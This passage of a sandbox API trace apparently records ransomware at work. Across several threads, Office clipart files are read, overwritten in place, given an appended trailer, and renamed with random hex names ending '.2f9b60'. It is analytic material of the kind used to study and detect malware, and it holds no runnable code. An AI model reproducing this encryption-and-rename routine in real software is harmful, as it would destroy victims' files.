Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0206.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fb70 [0206.728] sprintf (in: _Dest=0x1cd9fb70, _Format="%c%c" | out: _Dest="9e") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb72, _Format="%c%c" | out: _Dest="79") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb74, _Format="%c%c" | out: _Dest="c4") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb76, _Format="%c%c" | out: _Dest="5d") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb78, _Format="%c%c" | out: _Dest="3c") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb7a, _Format="%c%c" | out: _Dest="9d") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb7c, _Format="%c%c" | out: _Dest="4a") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb7e, _Format="%c%c" | out: _Dest="57") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb80, _Format="%c%c" | out: _Dest="d8") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb82, _Format="%c%c" | out: _Dest="54") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb84, _Format="%c%c" | out: _Dest="05") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb86, _Format="%c%c" | out: _Dest="bc") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb88, _Format="%c%c" | out: _Dest="e2") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb8a, _Format="%c%c" | out: _Dest="8b") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb8c, _Format="%c%c" | out: _Dest="ea") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb8e, _Format="%c%c" | out: _Dest="d0") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb90, _Format="%c%c" | out: _Dest="e7") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb92, _Format="%c%c" | out: _Dest="12") returned 2 [0206.728] sprintf (in: _Dest=0x1cd9fb94, _Format="%c%c" | out: _Dest="ea") returned 2 [0206.729] sprintf (in: _Dest=0x1cd9fb96, _Format="%c%c" | out: _Dest="5b") returned 2 [0206.729] sprintf (in: _Dest=0x1cd9fb98, _Format="%c%c" | out: _Dest="c1") returned 2 [0206.729] sprintf (in: _Dest=0x1cd9fb9a, _Format="%c%c" | out: _Dest="ac") returned 2 [0206.729] sprintf (in: _Dest=0x1cd9fb9c, _Format="%c%c" | out: _Dest="92") returned 2 [0206.729] sprintf (in: _Dest=0x1cd9fb9e, _Format="%c%c" | out: _Dest="fb") returned 2 [0206.729] RtlInitAnsiString (in: DestinationString=0x2f4ef8e8, SourceString="9e79c45d3c9d4a57d85405bce28bead0e712ea5bc1ac92fb" | out: DestinationString="9e79c45d3c9d4a57d85405bce28bead0e712ea5bc1ac92fb") [0206.729] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f4ef8b8, SourceString="9e79c45d3c9d4a57d85405bce28bead0e712ea5bc1ac92fb", AllocateDestinationString=1 | out: DestinationString="9e79c45d3c9d4a57d85405bce28bead0e712ea5bc1ac92fb") returned 0x0 [0206.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1db0 [0206.729] wcscat (in: _Dest=0x431c6860, _Source="9e79c45d3c9d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9e79c45d3c9d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9e79c45d3c9d" [0206.729] wcscat (in: _Dest=0x431c6860, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9e79c45d3c9d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9e79c45d3c9d.2f9b60" [0206.729] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9e79c45d3c9d.2f9b60", NtPathName=0x2f4ef890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9e79c45d3c9d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4311c520 Thread: id = 2394 os_tid = 0x1dcc [0150.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 0x20 [0150.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF", dwFileAttributes=0x20) returned 1 [0150.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2210 [0150.602] GetFileSizeEx (in: hFile=0x2210, lpFileSize=0x2f02f760 | out: lpFileSize=0x2f02f760*=2280) returned 1 [0150.602] SetFilePointerEx (in: hFile=0x2210, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.602] ReadFile (in: hFile=0x2210, lpBuffer=0x2f02f6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f02f728, lpOverlapped=0x0 | out: lpBuffer=0x2f02f6e0*, lpNumberOfBytesRead=0x2f02f728*=0x4, lpOverlapped=0x0) returned 1 [0150.615] SetFilePointerEx (in: hFile=0x2210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0150.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4960 [0150.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f49f0 [0150.617] NtQuerySystemTime (in: CurrentTime=0x2f02f620 | out: CurrentTime=0x2f02f620*=132462177558202000) returned 0x0 [0150.617] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x2109aa72 [0150.617] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x1dc82b47 [0150.617] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x77611a16 [0150.617] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0xe1aaff1 [0150.617] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x4cabde31 [0150.617] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x65392c4 [0150.617] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x3320e6c0 [0150.617] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x14239d87 [0150.617] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0xa1db335 [0150.617] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x49f673a4 [0150.617] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x158476da [0150.617] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x48f4a21d [0150.617] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x3eccd18a [0150.617] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x7ed2c1eb [0150.617] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x6a6c25f5 [0150.618] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x216877ff [0150.618] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x6b313c1c [0150.618] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x25d9ab33 [0150.618] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x55178074 [0150.618] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x5ddad43d [0150.618] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x8e1d63a [0150.618] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x6d0ceaa0 [0150.618] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x2e275ca8 [0150.618] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x543121d6 [0150.618] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x2a28a432 [0150.618] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x19181ee3 [0150.618] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x5ffa9bdc [0150.618] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x56eee00b [0150.618] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x4c895de0 [0150.619] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x5d4613a2 [0150.619] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x4eadefe1 [0150.619] RtlRandomEx (in: Seed=0x2f02f610 | out: Seed=0x2f02f610) returned 0x5255f08 [0150.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4a20 [0150.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b6b0 [0150.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4a50 [0150.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b6b0) returned 1 [0150.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f49f0) returned 1 [0150.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0150.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058560 [0150.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b6b0 [0150.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0150.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0150.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4249f1d0 [0150.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424a2de0 [0150.632] ReadFile (in: hFile=0x2210, lpBuffer=0x4249f1d0, nNumberOfBytesToRead=0x8e8, lpNumberOfBytesRead=0x2f02f610, lpOverlapped=0x0 | out: lpBuffer=0x4249f1d0*, lpNumberOfBytesRead=0x2f02f610*=0x8e8, lpOverlapped=0x0) returned 1 [0150.632] SetFilePointerEx (in: hFile=0x2210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.633] WriteFile (hFile=0x2210, lpBuffer=0x424a2de0, nNumberOfBytesToWrite=0x8e8, lpNumberOfBytesWritten=0x2f02f614, lpOverlapped=0x0) [0186.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9e90 [0186.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9ec0 [0186.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9ec0) returned 1 [0186.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424a2de0) returned 1 [0186.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4249f1d0) returned 1 [0186.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b6b0) returned 1 [0186.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058560) returned 1 [0186.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9ec0 [0186.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058560 [0186.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b6b0 [0186.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9ef0 [0186.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9ef0) returned 1 [0186.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9ef0 [0186.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9f20 [0186.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9f50 [0186.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9f50) returned 1 [0186.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b6b0) returned 1 [0186.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058560) returned 1 [0186.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x431016e0 [0186.515] SetFilePointerEx (in: hFile=0x2210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.515] WriteFile (in: hFile=0x2210, lpBuffer=0x431016e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2f02f730, lpOverlapped=0x0 | out: lpBuffer=0x431016e0*, lpNumberOfBytesWritten=0x2f02f730*=0x10a, lpOverlapped=0x0) returned 1 [0207.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4930 [0207.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4930) returned 1 [0207.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d220 [0207.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4930 [0207.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4900 [0207.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4900) returned 1 [0207.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d030 [0207.246] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="2f") returned 2 [0207.246] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="6f") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="a0") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="87") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="fb") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="f5") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="b3") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="42") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="15") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="f3") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="0f") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="d1") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="d5") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="1a") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="72") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="b1") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="f3") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="74") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="10") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="6f") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="08") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="72") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d05c, _Format="%c%c" | out: _Dest="1e") returned 2 [0207.247] sprintf (in: _Dest=0x1ce5d05e, _Format="%c%c" | out: _Dest="9f") returned 2 [0207.247] RtlInitAnsiString (in: DestinationString=0x2f02f7a8, SourceString="2f6fa087fbf5b34215f30fd1d51a72b1f374106f08721e9f" | out: DestinationString="2f6fa087fbf5b34215f30fd1d51a72b1f374106f08721e9f") [0207.247] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f02f778, SourceString="2f6fa087fbf5b34215f30fd1d51a72b1f374106f08721e9f", AllocateDestinationString=1 | out: DestinationString="2f6fa087fbf5b34215f30fd1d51a72b1f374106f08721e9f") returned 0x0 [0207.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e8db0 [0207.248] wcscat (in: _Dest=0x431c7940, _Source="2f6fa087fbf5" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2f6fa087fbf5") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2f6fa087fbf5" [0207.248] wcscat (in: _Dest=0x431c7940, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2f6fa087fbf5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2f6fa087fbf5.2f9b60" [0207.248] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2f6fa087fbf5.2f9b60", NtPathName=0x2f02f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2f6fa087fbf5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x43129920 Thread: id = 2395 os_tid = 0x1dd0 [0150.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 0x20 [0150.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF", dwFileAttributes=0x20) returned 1 [0150.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2214 [0150.614] GetFileSizeEx (in: hFile=0x2214, lpFileSize=0x300afa60 | out: lpFileSize=0x300afa60*=736) returned 1 [0150.614] SetFilePointerEx (in: hFile=0x2214, liDistanceToMove=0x2dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.614] ReadFile (in: hFile=0x2214, lpBuffer=0x300af9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x300afa28, lpOverlapped=0x0 | out: lpBuffer=0x300af9e0*, lpNumberOfBytesRead=0x300afa28*=0x4, lpOverlapped=0x0) returned 1 [0150.633] SetFilePointerEx (in: hFile=0x2214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0150.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f49f0 [0150.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4a80 [0150.633] NtQuerySystemTime (in: CurrentTime=0x300af920 | out: CurrentTime=0x300af920*=132462177558514000) returned 0x0 [0150.633] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x78738d8b [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x7537eec5 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x4f543a64 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x56b1f628 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0xeddf72a [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x1abc5cd [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x6bbdf52c [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x669d136c [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x5e48d7cb [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x7cafa46c [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x511f78f6 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x44e2ec5b [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x458f790 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x281a41f3 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x583730b6 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x152e5d2c [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x6c3c1c29 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x7689c5bc [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x65e4718 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x76c36b9f [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x4837e30c [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x6819d821 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x67ecf4c1 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x63c604d2 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x733bf5bc [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x4017063 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x520980a9 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x413b7bed [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x2221d763 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x296ad18e [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x5aca3678 [0150.634] RtlRandomEx (in: Seed=0x300af910 | out: Seed=0x300af910) returned 0x605f8637 [0150.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4ab0 [0150.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b730 [0150.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4ae0 [0150.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b730) returned 1 [0150.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4a80) returned 1 [0150.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0150.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420585b0 [0150.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b730 [0150.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0150.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0150.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424a69f0 [0150.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424aa600 [0150.645] ReadFile (in: hFile=0x2214, lpBuffer=0x424a69f0, nNumberOfBytesToRead=0x2e0, lpNumberOfBytesRead=0x300af910, lpOverlapped=0x0 | out: lpBuffer=0x424a69f0*, lpNumberOfBytesRead=0x300af910*=0x2e0, lpOverlapped=0x0) returned 1 [0150.645] SetFilePointerEx (in: hFile=0x2214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.645] WriteFile (in: hFile=0x2214, lpBuffer=0x424aa600*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x300af914, lpOverlapped=0x0 | out: lpBuffer=0x424aa600*, lpNumberOfBytesWritten=0x300af914*=0x2e0, lpOverlapped=0x0) returned 1 [0162.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19590 [0162.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c195c0 [0162.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c195c0) returned 1 [0162.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424aa600) returned 1 [0162.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424a69f0) returned 1 [0162.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b730) returned 1 [0162.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420585b0) returned 1 [0162.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c195c0 [0162.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420585b0 [0162.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b730 [0162.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c195f0 [0162.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c195f0) returned 1 [0162.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c195f0 [0162.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19620 [0162.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19650 [0162.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19650) returned 1 [0162.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b730) returned 1 [0162.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420585b0) returned 1 [0162.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c15a70 [0162.633] SetFilePointerEx 